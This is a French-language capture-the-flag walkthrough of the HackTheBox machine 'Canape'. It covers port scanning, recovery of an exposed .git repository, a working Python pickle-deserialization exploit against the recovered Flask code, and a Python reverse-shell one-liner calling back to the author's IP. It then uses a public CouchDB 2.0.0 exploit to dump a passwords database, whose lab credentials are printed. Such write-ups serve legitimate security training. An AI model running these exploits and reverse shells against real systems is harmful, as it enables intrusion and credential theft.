Introduction

Salut, aujourd’hui on s’attaque à une machine de HackTheBox : Canape.

La difficulté du challenge est évaluée à 5/10, on part donc sur une machine à priori plutôt simple à exploiter.

L’adresse IP est la suivante : 10.10.10.70 (cette adresse ne sera bien sûr pas accessible si vous n’êtes pas connecté à leur VPN, et de toutes manières cet article sera publié lorsque la machine ne sera plus disponible).

Identification

On va commencer par chercher différentes infos et points d’entrées possibles. Le premier truc à faire, c’est lister les ports ouverts (avec nmap) sur la machine afin de voir quels services tournent :

$ nmap -p- -sV 10.10.10.70
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-25 15:31 CEST
Nmap scan report for 10.10.10.70
Host is up (0.043s latency).
Not shown: 65533 filtered ports
PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.18 ((Ubuntu))
65535/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 142.45 seconds

Pour ceux qui ne le savent pas déjà, l’option -p- permet de faire un scan complet (pas juste les ports les plus utilisés) et l’option -sV permet d’essayer d’identifier le service qui se cache derrière ce port.

On peut donc constater qu’il y a un serveur HTTP sur le port 80 et un serveur SSH sur le port 65535.

Le site exposé est relativement simple, il s’agit d’un fan site des Simpsons avec comme possibilité de visualiser les citations existantes :

Ainsi que d’en proposer de nouvelles :

Un truc à noter avec ce formulaire, c’est qu’il soumet la citation à l’administrateur, celle-ci n’est pas immédiatement ajoutée à la page de visualisation.

On pourrait se lancer tête baisser et tenter d’exploiter ce formulaire à l’aveugle, mais la plupart du temps, HackTheBox laisse des pistes sur la manière de s’y prendre pour exploiter. Donc on laisse ça de côté pour l’instant, et on continue la phase d’identification.

En regardant le code source de la page, on trouve le commentaire HTML suivant :

<!-- 
c8a74a098a60aaea1af98945bd707a7eab0ff4b0 - temporarily hide check
<li class="nav-item">
    <a class="nav-link" href="/check">Check Submission</a>
</li>
-->

On n’y retrouve un hash, difficile de savoir à quoi ça correspond pour le moment. Ainsi qu’un URI /check. En effectuant une requête HTTP dessus, on nous indique que la méthode GET n’est pas supportée :

$ curl http://10.10.10.70/check  
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>405 Method Not Allowed</title>
<h1>Method Not Allowed</h1>
<p>The method is not allowed for the requested URL.</p>

Du coup on utilise la méthode OPTIONS pour lister les méthodes supportées :

$ curl -X OPTIONS http://10.10.10.70/check -v
*   Trying 10.10.10.70...
* TCP_NODELAY set
* Connected to 10.10.10.70 (10.10.10.70) port 80 (#0)
> OPTIONS /check HTTP/1.1
> Host: 10.10.10.70
> User-Agent: curl/7.61.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Date: Sat, 25 Aug 2018 14:59:22 GMT
< Server: Apache/2.4.18 (Ubuntu)
< Allow: POST, OPTIONS
< Content-Length: 0
< Content-Type: text/html; charset=utf-8
< 
* Connection #0 to host 10.10.10.70 left intact

On spécifie le paramètre -v à curl car par défaut il n’affiche pas les headers HTTP. Dans la réponse, on peut constater que les requêtes POST sont autorisées, sauf qu’on est pas plus avancés parce qu’on ne sait pas quoi envoyer…

On garde ces informations de côté et on continue la phase d’identification avec une énumération des dossiers accessibles à la racine du site. Pour cela, j’utilise dirsearch.

Le problème étant que si le dossier/fichier demandé n’existe pas, le serveur web retourne un code 200 et retourne le code HTML de la page d’accueil. En gros dirsearch n’est pas en mesure de différencier un fichier/dossier qui existe, d’un qui n’existe pas et liste absolument tout ce qu’il teste. Extrait :

[17:14:06] 200 -  238B  - /.smileys/
[17:14:06] 200 -  218B  - /.shrc/
[17:14:06] 200 -   70B  - /.smushit-status/
[17:14:06] 200 -  233B  - /.sql/
[17:14:06] 200 -  193B  - /.sql.bz2
[17:14:06] 200 -  205B  - /.sql.gz
[17:14:06] 200 -  243B  - /.sql.gz/
[17:14:06] 200 -  210B  - /.sqlite_history/
[17:14:06] 200 -  246B  - /.ssh
[17:14:06] 200 -  189B  - /.ssh.asp
[17:14:07] 200 -   90B  - /.ssh/authorized_keys/
[17:14:07] 200 -  192B  - /.ssh/id_rsa/
[17:14:07] 200 -   67B  - /.ssh/id_rsa.key
[17:14:07] 200 -  158B  - /.ssh/id_rsa.key~
[17:14:07] 200 -  247B  - /.ssh/id_rsa.priv~
[17:14:07] 200 -  198B  - /.ssh/id_rsa.pub
[17:14:07] 200 -  145B  - /.ssh/id_rsa~
[17:14:07] 200 -  216B  - /.ssh/know_hosts
[17:14:07] 200 -  199B  - /.ssh/know_hosts~
[17:14:07] 200 -  152B  - /.ssh/known_host
[17:14:07] 200 -  189B  - /.ssh/known_host/
[17:14:07] 200 -   91B  - /.ssh/known_hosts/
[17:14:07] 200 -  163B  - /.st_cache/
[17:14:07] 200 -  246B  - /.sublime-project/
[17:14:07] 200 -  165B  - /.sublime-project
[17:14:07] 200 -  201B  - /.sublime-workspace
[17:14:07] 200 -  172B  - /.subversion/
[17:14:07] 200 -  224B  - /.sunw
[17:14:07] 200 -   58B  - /.svn/
[17:14:07] 200 -  193B  - /.svn/all-wcprops
[17:14:07] 200 -  221B  - /.svn/entries

Du coup on va exlclure les code 200 et voir quels autres codes “anormaux” peut bien retourner le serveur :

$ ~/Tools/dirsearch/dirsearch.py -u http://10.10.10.70 -fe "" | grep -v 200

 _|. _ _  _  _  _ _|_    v0.3.8
(_||| _) (/_(_|| (_| )

Extensions:  | Threads: 10 | Wordlist size: 10320

Error Log: /home/shellcode/Tools/dirsearch/logs/errors-18-08-25_17-16-37.log

Target: http://10.10.10.70

[17:16:37] Starting: 
[17:16:39] 301 -  309B  - /.git  ->  http://10.10.10.70/.git/
[17:16:40] 301 -  319B  - /.git/logs/refs  ->  http://10.10.10.70/.git/logs/refs/
[17:16:40] 301 -  325B  - /.git/logs/refs/heads  ->  http://10.10.10.70/.git/logs/refs/heads/
[17:16:40] 301 -  334B  - /.git/logs/refs/remotes/origin  ->  http://10.10.10.70/.git/logs/refs/remotes/origin/
[17:16:40] 301 -  327B  - /.git/logs/refs/remotes  ->  http://10.10.10.70/.git/logs/refs/remotes/
[17:16:40] 301 -  320B  - /.git/refs/heads  ->  http://10.10.10.70/.git/refs/heads/
[17:16:40] 301 -  329B  - /.git/refs/remotes/origin  ->  http://10.10.10.70/.git/refs/remotes/origin/
[17:16:40] 301 -  322B  - /.git/refs/remotes  ->  http://10.10.10.70/.git/refs/remotes/
[17:16:40] 301 -  319B  - /.git/refs/tags  ->  http://10.10.10.70/.git/refs/tags/
[17:17:30] 403 -  294B  - /cgi-bin/
[17:17:30] 405 -  178B  - /check
[17:17:53] 403 -  292B  - /icons/
[17:19:25] 403 -  299B  - /server-status
[17:19:25] 403 -  300B  - /server-status/
[17:19:46] 301 -  311B  - /static  ->  http://10.10.10.70/static/

Task Completed

On a de suite quelque chose de bien plus intéressant : un .git !

Analyse du dossier git

J’ai d’abord essayé de fouiller un peu à la main directement depuis l’interface web, mais ça s’est avéré être peu pratique et j’ai pas pu trouver grand chose. Du coup je télécharge le dossier avec wget pour analyser tout ca localement avec un simple :

$ wget -r http://10.10.10.70/.git/

On se retrouve donc avec un repo initialisé et directement utilisable. On a plus qu’à lister les derniers commit réalisés :

$ git log --pretty=oneline
92eb5eb61f16b7b89be0a7ac0a6c2455d377bb41 (HEAD -> master) final
524f9ddcc74e10aba7256f91263c935c6dfb41e1 (origin/master) final
999b8699c0ccf9843ff98478e2dd364b680924e0 remove a
a762ade84c321b26392139d726e60b2d5ccdbef1 a
f197cbfe1a46af74b09b09310baaca8fb4cd7f26 remove doh
36acc974487bac2796f4d9a5a29b18c740658d01 add doh
fb798527bff76122c23ee473cd607436368db395 remove f
64ed42c4476f9eeec81ba5c90f5e2f8dc122af1e add f
7b15317c5101ff1f45b31a28839360bd6c7b6c0b MORE TROLLS
a389475a903520abba71a5c9b2fa0a15686c8fbb trollface
f9be9a9a7b217f67923ec22b360de313854b6ab6 add note
c8a74a098a60aaea1af98945bd707a7eab0ff4b0 temporarily hide check due to vulerability
e7bfbcf62cb61ca9f679d5fbfc82a491f580fccd initial

Le mot “vulerability” m’a bien évidement immédiatement sauté aux yeux, sans parler du fait que le hash de ce commit correspond au hash retrouvé en commentaire du code source HTML de la page d’accueil. Pour autant, le développeur a continué de faire des commits, donc il faut s’assurer qu’on a bien la dernière version de son travail.

On checkout le dernier commit afin de remettre le projet en état (vu qu’on a juste récupéré le .git, pas tout le projet) :

$ git checkout 92eb5eb61f16b7b89be0a7ac0a6c2455d377bb41
D       __init__.py
D       static/css/bootstrap.min.css.map
D       static/js/bootstrap.min.js.map
D       templates/index.html
D       templates/layout.html
D       templates/quotes.html
D       templates/submit.html
Note: checking out '92eb5eb61f16b7b89be0a7ac0a6c2455d377bb41'.

You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by performing another checkout.

If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -b with the checkout command again. Example:

  git checkout -b <new-branch-name>

HEAD is now at 92eb5eb final

Que nous dit la première ligne ?? Qu’un fichier __init__.py a été supprimé durant ce commit. On décide donc de checkout le commit présent juste avant celui-ci (524f9ddcc74e10aba7256f91263c935c6dfb41e1) et là, magie :

import couchdb
import string
import random
import base64
import cPickle
from flask import Flask, render_template, request
from hashlib import md5

app = Flask(__name__)
app.config.update(
    DATABASE = "simpsons"
)
db = couchdb.Server("http://localhost:5984/")[app.config["DATABASE"]]

@app.errorhandler(404)
def page_not_found(e):
    if random.randrange(0, 2) > 0:
        return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(random.randrange(50, 250)))
    else:
        return render_template("index.html")

@app.route("/")
def index():
    return render_template("index.html")

@app.route("/quotes")
def quotes():
    quotes = []
    for id in db:
        quotes.append({"title": db[id]["character"], "text": db[id]["quote"]})
    return render_template('quotes.html', entries=quotes)

WHITELIST = [
    "homer",
    "marge",
    "bart",
    "lisa",
    "maggie",
    "moe",
    "carl",
    "krusty"
]

@app.route("/submit", methods=["GET", "POST"])
def submit():
    error = None
    success = None

    if request.method == "POST":
        try:
            char = request.form["character"]
            quote = request.form["quote"]
            if not char or not quote:
                error = True
            elif not any(c.lower() in char.lower() for c in WHITELIST):
                error = True
            else:
                # TODO - Pickle into dictionary instead, `check` is ready
                p_id = md5(char + quote).hexdigest()
                outfile = open("/tmp/" + p_id + ".p", "wb")
                outfile.write(char + quote)
                outfile.close()
                success = True
        except Exception as ex:
            error = True

    return render_template("submit.html", error=error, success=success)

@app.route("/check", methods=["POST"])
def check():
    path = "/tmp/" + request.form["id"] + ".p"
    data = open(path, "rb").read()

    if "p1" in data:
        item = cPickle.loads(data)
    else:
        item = data

    return "Still reviewing: " + item

if __name__ == "__main__":
    app.run()

Il s’agit d’une application python Flask. On retrouve les routes /check, /submit, /quotes. Plus aucun doute : il s’agit du code source du serveur.

Dans ce code source on découvre également la présence d’une base de données :

db = couchdb.Server("http://localhost:5984/")[app.config["DATABASE"]]

Peut-être que ca nous servira pour la suite.

Exploitation

Dans le code source on peut remarquer l’utilisation du module cPickle. Celui-ci permet de faire de la sérialisation, ça permet en gros, de stocker n’importe quelle donnée (un objet par exemple) de manière à pouvoir le reconstituer plus tard. Dans ce contexte là, lorsque l’on envoie une citation, celle-ci est stockée dans un fichier dans /tmp :

outfile = open("/tmp/" + p_id + ".p", "wb")
outfile.write(char + quote) outfile.close()

Et lorsqu’une requête POST avec le paramètre id est effectuée sur /check, le contenu du fichier est lu, et si la chaine de caractère “p1” est contenue dans le fichier, alors un cPickle.loads() est effectué sur le contenu du fichier :

path = "/tmp/" + request.form["id"] + ".p"
data = open(path, "rb").read()

if "p1" in data:
    item = cPickle.loads(data)

Or il s’avère que les fonctions de sérialisations sont réputées pour être vulnérables, il faut faire très attention à la manière dont on les utilise.

D’ailleurs, voilà ce que la documentation python dit au sujet de pickle :

Warning
The pickle module is not secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.

Il est en effet possible de forger des données de telle sorte à créer un objet qui une fois chargé par pickle, exécutera du code.

Une méthode qui nous intéresse beaucoup est __reduce__, celle-ci permet d’indiquer à pickle comment l’objet doit être sérialisé. Cela va nous être très utile pour créer nos payloads.

La doc python nous indique la chose suivante à propose de __reduce__ :

When a tuple is returned, it must be between two and five elements long. Optional elements can either be omitted, or None can be provided as their value. The contents of this tuple are pickled as normal and used to reconstruct the object at unpickling time. The semantics of each element are:
- A callable object that will be called to create the initial version of the object. The next element of the tuple will provide arguments for this callable, and later elements provide additional state information that will subsequently be used to fully reconstruct the pickled data.
- In the unpickling environment this object must be either a class, a callable registered as a “safe constructor” (see below), or it must have an attribute __safe_for_unpickling__ with a true value. Otherwise, an UnpicklingError will be raised in the unpickling environment. Note that as usual, the callable itself is pickled by name.
- A tuple of arguments for the callable object.

A callable object that will be called to create the initial version of the object.

C’est là dessus que repose toute la vulnérabilité ! Lorsque pickle va charger l’objet, il va exécuter la fonction permettant d’initialiser l’objet, donc si l’on contrôle la fonction à appeler, on a une exécution de code.

Ce qui nous interesserait, c’est d’être en mesure d’executer des programme sur le système, on peut utiliser os.system() pour réaliser cela. Si on essaye rapidement de l’utiliser avec l’interpreteur python :

$ python
Python 3.7.0 (default, Jul 15 2018, 10:44:58) 
[GCC 8.1.1 20180531] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.system("whoami")
shellcode
0
>>>

Voilà le petit bout de code que j’ai écrit qui permet de créer un payload :

import pickle
import os

class Payload(object):
    def __reduce__(self):
        return (os.system, ("ls",))

if __name__ == "__main__":
    print pickle.dumps(Payload())

(Note : les modules cPickle et pickle fonctionnent pareil, juste que cPickle est supposé plus rapide car compilé)

Comme la documentation l’indique, j’ai simplement fait retourner un tuple d’un “callable” et de ses paramètres (qui sont eux aussi un tuple).

Ce code nous génère le payload suivant :

cposix
system
p0
(S'ls'
p1
tp2
Rp3
.

C’est la version serialisée du os.system avec son paramètre ls.

Assurons nous que ce code est bien executé lorsque pickle charge cet objet :

$ python
Python 3.7.0 (default, Jul 15 2018, 10:44:58) 
[GCC 8.1.1 20180531] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import pickle
>>> pickle.loads("""cposix
system
p0
(S'ls'
p1
tp2
Rp3
.""")
exploit.py  IT_WORKS.txt
0
>>>

Bingo ! Le ls est bien executé !

On va maintenant essayer d’envoyer ce payload au serveur pour voir comment il réagit. Mais pour faire cela, il faut s’assurer que notre requête est correctement formée afin de s’assurer du bon fonctionnement de notre exploit.

Il faut d’abord réussir à écrire dans le fichier (vu que l’exploitation se fait à la lecture, pas de fichier, pas de lecture), pour cela il va falloir passer les 2 premières conditions afin d’arriver au else :

if not char or not quote:
    error = True
elif not any(c.lower() in char.lower() for c in WHITELIST):
    error = True
else:
    p_id = md5(char + quote).hexdigest()
    outfile = open("/tmp/" + p_id + ".p", "wb")
    outfile.write(char + quote)
    outfile.close()
    success = True

La première condition est simple à passer étant qu’elle se contente de vérifier que toutes les entrées du formulaire ont été envoyées (nom + citation).

La deuxième condition est un peu plus tricky si vous n’avez pas l’habitude de coder en python, l’objectif de cette condition est de s’assurer que le le nom du personnage choisi par l’utilisateur est bien dans la liste des personnages autorisés :

WHITELIST = [
    "homer",
    "marge",
    .......
    "krusty"
]

En fait, si on devait traduire cette condition en francais, ca donnerait quelque chose comme : “Si la chaine de caractère entrée par l’utilisateur n’est pas une sous-chaine d’aucune des entrée de la whitelist”.

Il n’aurait très probablement pas été possible d’exploiter ce code si le développeur avait utilisé == au lieu de in. Mais dans l’état actuel des choses, nous avons juste à nous arranger pour qu’un élément de la whitelist, disons homer, soit présent dans le nom que l’on envoie, mais il ne doit pas necessairement être strictement égal, juste être une sous chaine.

Pour ceux qui n’ont pas l’habitude du python, voici un petit exemple permettant d’illustrer mon propos :

>>> "homer" == "Chomer"
False
>>> "homer" in "Chomer"
True

Poursuivons.

On peut remarquer que l’application stocke dans le fichier une concaténation du nom du personnage ainsi que de la citation, et que le nom du fichier est un hash md5 de cette concaténation suivie de l’extension .p.

Quelque chose d’important à savoir si vous faites des tests en local, c’est que python 2 et 3 ne se comportent pas pareil avec pickle. En effet python 2 fonctionne avec des chaines de caractères alors que python 3 utilise des octets. Peut-être l’avez vous remarqué si vous êtes habitués à coder en python, mais le code source du serveur teste l’existence d’une chaine de caractères dans une suite d’octets :

data = open(path, "rb").read()
if "p1" in data:

Or il s’avère que python 3 lancerait une exception avec ce code car contrairement à python 2, celui-ci fait la distinction entre chaines de caractères et suites d’octets. Ca signifie que le serveur est prévu pour tourner avec python 2. Pour être sûr qu’il n’y ait aucun soucis lors de la création de notre payload et envoi de celui-ci, on va utiliser python2 pour créer l’exploit.

Dernière chose à noter avant d’écrire l’exploit, afin de déclancher le chargement pickle de notre payload, il faut effectuer une requete POST sur /check avec le bon id en paramètre, comme en témoigne le code source :

path = "/tmp/" + request.form["id"] + ".p"
data = open(path, "rb").read()

if "p1" in data:
    item = cPickle.loads(data)

Sauf que cet id n’est rien d’autre que le hash md5 de la concaténation du nom du personnage et de la citation. C’est donc totalement prédictible puisque c’est l’utilisateur qui choisit ces paramètres.

Voici l’exploit final, je vous invite à lire les commentaires présents dans celui-ci pour comprendre pas à pas ce que fait celui-ci :

#!/usr/bin/python2
# coding: utf-8

import pickle
import os
import requests
import base64
from hashlib import md5

target = "http://10.10.10.70"

class Payload(object):
    def __reduce__(self):
        # Notez la présence de homer et p1 dans la commande à executer, ca nous permet de remplir les conditions du serveur tout en ayant un payload valide
        return (os.system, ("echo homer p1; ls",))

if __name__ == "__main__":
    # On crée notre payload
    payload = pickle.dumps(Payload())

    # On sépare notre payload en 2 de telle manière que 'homer' soit contenu dans le nom.
    # Rappelez vous que ces deux chaines seront concaténées, et donc notre payload réassemblé.
    homer_end = payload.find("homer") + len("homer")
    name = payload[:homer_end]
    quote = payload[homer_end:]

    # On effectue une requête POST sur /submit avec comme paramètres character et quote (qui contiennent notre payload)
    result = requests.post(target + "/submit", data={"character": name, "quote": quote})

    if "Error" in result.text:
        print "Exploit failed."
        exit(1)

    print "Exploit uploaded !"

    # Maintenant on doit effectuer une requête POST sur /check afin de déclancher le cPickle.loads() de notre payload
    # Pour cela, il faut lui passer le bon id, ce qui correspond dans notre cas, au hash md5 de notre payload
    p_id = md5(payload).hexdigest()
    result = requests.post(target + "/check", data={"id": p_id})

    print result.text

Sauf que lorsque j’execute celui-ci, le serveur me renvoie une erreur 500 :

$ ./exploit.py 
Exploit uploaded !
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request.  Either the server is overloaded or there is an error in the application.</p>

Après avoir debug vite fait en local le serveur (parce que bon, on a accès au code source, alors autant en profiter), cela arrive pour une raison très simple, c’est que os.system() retourne un code d’erreur, et pas une chaine de caractère comme le voudrait le programme :

127.0.0.1 - - [25/Aug/2018 22:25:13] "POST /submit HTTP/1.1" 200 -
homer p1
exploit.py  IT_WORKS.txt
[2018-08-25 22:25:13,908] ERROR in app: Exception on /check [POST]
Traceback (most recent call last):
  File "/usr/lib/python2.7/site-packages/flask/app.py", line 2292, in wsgi_app
    response = self.full_dispatch_request()
  File "/usr/lib/python2.7/site-packages/flask/app.py", line 1815, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/usr/lib/python2.7/site-packages/flask/app.py", line 1718, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/usr/lib/python2.7/site-packages/flask/app.py", line 1813, in full_dispatch_request
    rv = self.dispatch_request()
  File "/usr/lib/python2.7/site-packages/flask/app.py", line 1799, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "__init__.py", line 70, in check
    return "Still reviewing: " + item
TypeError: cannot concatenate 'str' and 'int' objects

Du coup une erreur de concaténation entre str et int apparait, mais comme vous pouvez le constater juste au dessus notre payload est bien executé ! On retrouve le “homer” et le “p1” du echo et le ls qui liste les fichiers juste en dessous. Alors bon c’est bien beau ca, mais comment on fait pour récupérer le résultat de notre commande du coup ? Parce que tout ce que le serveur nous renvoie c’est une erreur 500… Plusieurs solutions possibles, en voici quelques unes :

  • Eviter qu’une erreur se produise, par exemple en trouvant une fonction qui executerait ce que l’on veut et qui retournerait une chaine de caractères
  • Exfilter les données differements, par exemple en effectuant un curl sur un serveur distant qui enverrait le résultat de la commande souhaitée
  • Ou encore mieux : un reverse shell 🙂

Ok il y a une erreur 500 et le serveur web ne veut pas nous retourner le résultat, il n’empêche qu’on a bien une exec de code ! Donc on fait ce qu’on veut. Comme on passe par un VPN et qu’on est sur le même réseau que la machine à pown, faire un reverse shell est ultra simple (pas besoin de se prendre la tête à rediriger les ports de sa box entre autres), il suffit d’écouter sur un port de sa machine avec netcat :

netcat -lvp 1337

Il y a une petite cheatsheet de reverse shell disponible ici, et comme on sait déjà que python installé sur la machine, on utilise leur payload :

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.161",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

Je l’ai juste modifié de telle manière à mettre mon adresse IP sur le réseau, le port sur lequel j’écoute, et executer un bash plutot qu’un sh, parce que c’est plus fancy 🙂

J’execute donc mon exploit, et boooomm :

$ nc -lvp 1337
Connection from 10.10.10.70:38294
bash: cannot set terminal process group (1043): Inappropriate ioctl for device
bash: no job control in this shell
www-data@canape:/$

On a un shell 😀

Comme vous pouvez le constater, j’ai les droits de l’utilisateur www-data. C’est les droits du serveur web, on ne peut quasi rien faire avec cet utilisateur, on cherche donc à gagner en privilège avec d’avoir les droits d’un “vrai” utilisateur.

On commence par essayer de voir quels fichiers m’appartiennent sur la machine. J’execute la commande suivante :

find / -user www-data -not -path "/proc/*" 2> /dev/null

-user www-data me permet de ne lister que les fichiers appartement à mon utilisateur actuel
-not -path “/proc/*
me permet d’exclure le dossier /proc de la recherche pour éviter d’être spamé dans le résultat de la commande
2> /dev/null également pour ne pas être spamé, redirige la sortie d’erreur dans le vide

Le seul truc interessant qui en sort, est la présence du dossier /var/www/git, on se rend dans celui-ci pour investiguer.

www-data@canape:/var/www/git$ ls -lA   
total 8
-rw-r--r-- 1 root     root       50 Jan 23  2018 .htpasswd
drwxrwsr-x 7 www-data www-data 4096 Jan 23  2018 simpsons.git

On remarque la présence d’un .htpasswd qui est accessible en lecture par tout le monde.

www-data@canape:/var/www/git$ cat .htpasswd 
homer:Git Access:7818cef8b9dc50f4a70fd299314cb9eb

Après avoir essayé de casser le md5 à l’aide de hashcat ainsi que differentes wordlists, j’ai laissé tombé cette option car c’est quand assez rare d’avoir recourt au bruteforce dans des challenges.

Puis j’ai repensé au code source du serveur, celui-ci indiquait la présence d’une base de données locale qui écoute sur le port 5984, il s’agit d’une couchdb, je ne connaissais pas du tout, après une petite recherche je suis tombé sur cette cheatsheet qui va m’aider à m’en sortir avec cette techno inconnue 🙂

J’ai également pu remarquer que le daemon couchdb semble avoir été lancé avec l’utilisateur homer. Donc si on arrive par exemple à obtenir un shell avec les droits de cette base de données, on élèverait nos privilèges à celui d’homer :

www-data@canape:/$ ps -aux | grep couch
...
homer       665  0.7  3.2 651388 32572 ?        Sl   16:39   0:09 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/bin/.. -progname couchdb -- -home /home/homer -- -boot /home/homer/bin/../releases/2.0.0/couchdb -name couchdb@localhost -setcookie monster -kernel error_logger silent -sasl sasl_error_logger false -noshell -noinput -config /home/homer/bin/../releases/2.0.0/sys.config

 

On commence par lister les base de données disponibles :

www-data@canape:/var/www/html/simpsons$ curl -X GET http://127.0.0.1:5984/_all_dbs
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]

Oh ! Une base de données passwords ! Mais malheureusement (de manière plutot évidente), nous n’avons pas accès à celle-ci :

www-data@canape:/var/www/html/simpsons$ curl http://localhost:5984/passwords/_all_docs            
{"error":"unauthorized","reason":"You are not authorized to access this db."}

J’ai désespérément cherché une manière de lister les droits d’un utilisateur avec CouchDB, afin de voir où il pouvait lire et écrire, mais impossible de trouver ces informations ! Voici donc les possibilités qui s’offraient à moi :

  • Chercher à la main une vulnérabilité afin de gagner en privilège, ça peut être très long et laborieux, surtout quand on ne connait pas du tout CouchDB
  • Fuzzer les différents paramètres afin de potentiellement découvrir un bug exploitable
  • Trouver le numéro de version et recherche un exploit public

Comme c’est un challenge et pas vraiment une situation réelle, ils ne veulent pas trop nous faire galérer, donc le plus raisonnable était de commencer par chercher le numéro de version pour voir si c’est vulnérable. Or il s’avère que CouchDB est plutôt bavard vu que c’est le premier truc qu’il nous donne lorsque l’on fait une requête GET sur la racine :

www-data@canape:/var/www/html/simpsons$ curl http://localhost:5984                    
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

On a donc le numéro de version. Une petite recherche sur exploit-db :

Comme on peut le remarquer, seuls 5 exploits sont disponibles. Le plus ancien (celui tout en bas) est pour la version 1.5.0, le deuxième plus ancien est pour Windows, le troisième plus ancien n’a pas été vérifié par exploit-db, donc on va commencer par tester les 2 premiers. Sauf que celui qui est tout en haut est un module metasploit et que le reverse shell que j’ai déjà n’est pas un payload metasploit donc le faire passer par metasploit serait une perte de temps inutile. On va donc plutôt partir sur le 2ème exploit qui semble exploiter exactement la même vulnérabilité mais qui lui est écrit en python pur. Donc on copie colle le code python dans /tmp.

On lance l’exploit :

www-data@canape:/tmp/.test$ python .test.py --user ez --pass ez --priv -c "id" http://localhost:5984 
[*] Detected CouchDB Version 2.0.0
[+] User ez with password ez successfully created.
[+] Created payload at: http://localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd
[+] Command executed: id
[*] Cleaning up.

Tout semble avoir correctement fonctionné, mais pour une raison qui m’échappe, on n’arrive pas à obtenir le retour de la commande que j’exécute :

www-data@canape:/tmp/.test$ curl http://ez:ez@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd
{"error":"not_found","reason":"unknown_config_value"}

Cependant j’ai remarqué que le message d’erreur n’est pas le même que lorsqu’on fait une requête sans utilisateur :

www-data@canape:/tmp/.test$ curl http://localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd      
{"error":"unauthorized","reason":"You are not a server admin."}

Ce qui semble donc bien m’indiquer que l’exécution n’a pas fonctionnée (ou alors je ne sais simplement pas comment récupérer le résultat), l’utilisateur a lui bien été créé.

On vérifie si l’utilisateur nouvellement créé a plus de droit que ce qu’on pouvait faire jusqu’à présent, au hasard, en essayant d’accéder à la base de données password 🙂

www-data@canape:/tmp/.test$ curl http://ez:ez@localhost:5984/passwords
{"db_name":"passwords","update_seq":"46-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkR2PoiQFIJlkD1bHik-dA0hdPGF1CSB19QTV5bEASYYGIAVUOp8YtQsgavcTo_YARO39rER8AQRR-wCiFuhetiwA7ytvXA","sizes":{"file":222462,"external":665,"active":1740},"purge_seq":0,"other":{"data_size":665},"doc_del_count":0,"doc_count":4,"disk_size":222462,"disk_format_version":6,"data_size":1740,"compact_running":false,"instance_start_time":"0"}

Niiiiiiice ! On vient de gagner l’accès à cette base de données, on a plus qu’à en lister le contenu :

www-data@canape:/tmp/.test$ curl http://ez:ez@localhost:5984/passwords/_all_docs
{"total_rows":4,"offset":0,"rows":[
{"id":"739c5ebdf3f7a001bebb8fc4380019e4","key":"739c5ebdf3f7a001bebb8fc4380019e4","value":{"rev":"2-81cf17b971d9229c54be92eeee723296"}},
{"id":"739c5ebdf3f7a001bebb8fc43800368d","key":"739c5ebdf3f7a001bebb8fc43800368d","value":{"rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e"}},
{"id":"739c5ebdf3f7a001bebb8fc438003e5f","key":"739c5ebdf3f7a001bebb8fc438003e5f","value":{"rev":"1-77cd0af093b96943ecb42c2e5358fe61"}},
{"id":"739c5ebdf3f7a001bebb8fc438004738","key":"739c5ebdf3f7a001bebb8fc438004738","value":{"rev":"1-49a20010e64044ee7571b8c1b902cf8c"}}
]}
www-data@canape:/tmp/.test$ curl http://ez:ez@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc4380019e4
{"_id":"739c5ebdf3f7a001bebb8fc4380019e4","_rev":"2-81cf17b971d9229c54be92eeee723296","item":"ssh","password":"0B4jyA0xtytZi7esBNGp","user":""}
www-data@canape:/tmp/.test$ curl http://ez:ez@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc43800368d
{"_id":"739c5ebdf3f7a001bebb8fc43800368d","_rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e","item":"couchdb","password":"r3lax0Nth3C0UCH","user":"couchy"}
www-data@canape:/tmp/.test$ curl http://ez:ez@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc438003e5f
{"_id":"739c5ebdf3f7a001bebb8fc438003e5f","_rev":"1-77cd0af093b96943ecb42c2e5358fe61","item":"simpsonsfanclub.com","password":"h02ddjdj2k2k2","user":"homer"}
www-data@canape:/tmp/.test$ curl http://ez:ez@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc438004738
{"_id":"739c5ebdf3f7a001bebb8fc438004738","_rev":"1-49a20010e64044ee7571b8c1b902cf8c","user":"homerj0121","item":"github","password":"STOP STORING YOUR PASSWORDS HERE -Admin"}

